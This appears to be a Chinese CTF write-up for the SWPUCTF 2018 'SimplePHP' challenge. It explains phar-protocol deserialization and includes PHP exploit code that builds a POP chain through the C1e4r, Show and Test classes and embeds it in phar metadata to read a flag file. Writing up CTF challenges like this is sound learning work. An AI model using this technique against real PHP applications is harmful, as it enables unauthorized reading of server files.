[SWPUCTF 2018]SimplePHP
打开环境
查看文件处可以查看源码
file.php
里面包含function.php和class.php,继续查看源码
function.php
class.php
base.php
上传页的源码
upload_file.php
文件上传处调用了upload_file()函数,这个函数的声明在function.php中,执行过程是先通过upload_file_check()函数的检查,再执行upload_file_do()函数。
upload_file_check()函数,只检查后缀,不检查文件头,白名单机制,"gif","jpeg","jpg","png"
upload_file_do()函数,将文件的完整名和我的IP地址拼接在一起后进行md5加密,再在名字后拼接一个jpg的后缀进行上传
分析到这里就知道截断没法用了,因为你即使截断了文件名,他最后的操作也是将你截断后的文件名md5加密后再拼接jpg后缀;接着由于是白名单机制,所以.htaccess也没法上传,所以这块是没法绕过的,这不是一道普通的文件上传题。
这题根据源码查看可以猜到应该和反序列化有关,但又由于不存在unserialize()函数,因此常规反序列化的思路走不通,所以这里需要借助phar协议触发反序列化操作。
这里首先疏通一下phar协议的知识点(主要参考:https://www.cnblogs.com/sijidou/p/13121358.html)
- phar协议的生效版本为5.3.0,也就是说这个版本之前是无法使用关于phar的任何功能的
- phar是一种php语言的文件的后缀
- 使用phar需要在php.ini文件中开启对应的配置
[Phar] phar.readonly = Off
- 生成phar文件的代码格式如下:
<?php //反序列化payload构造 class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); //设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //将反序列化的对象放入该文件中 $o = new TestObject(); $o->data='just a test'; $phar->setMetadata($o); //phar本质上是个压缩包,所以要添加压缩的文件和文件内容 $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
在禁止phar开头的情况下的替代方法
compress.zlib://phar://phar.phar/test.txt compress.bzip2://phar://phar.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
虽然会报warning,但是还是会执行
分析
file.php文件
首先这个文件的主要作用就是去执行_show()这个函数,所以转而去找show函数的位置
class.php文件
最终在class中找到此函数,继续分析发现有个魔术方法construct,他会在函数构造时将传入的参数赋值给source,并且后边注释给到提示用phar
tostring也是一个魔术方法,会在直接输出对象引用时自动调用,所以要找到能直接输出这个函数的地方,发现cle4r中有个echo的地方可以利用。
这个方法中有个$this->str['str']->source,首先找到str这个数组,取出key值为str的value值赋给source
__get():它可以在对象的外部获取私有成员属性的值
__set( $property, $value )方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。
这里面的关系实在是太乱了,分析了老半天也没把里面的关系搞得很清晰,只能看着别人写的exp,大概猜出pop链的执行过程
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
最后的倔强:
echo出来的东西就是show类中的tostring方法的返回值,这个返回值,要先找到str这个数组,然后取出key的值为str的value的值,再把这个值赋给source,然而这个值又不存在,不存在就又会调用__set()方法,这个方法会把Test类返回过来的值赋值给str,最后content里面的内容其实就是Test类中返回过来的值,即base64编码后的源文件内容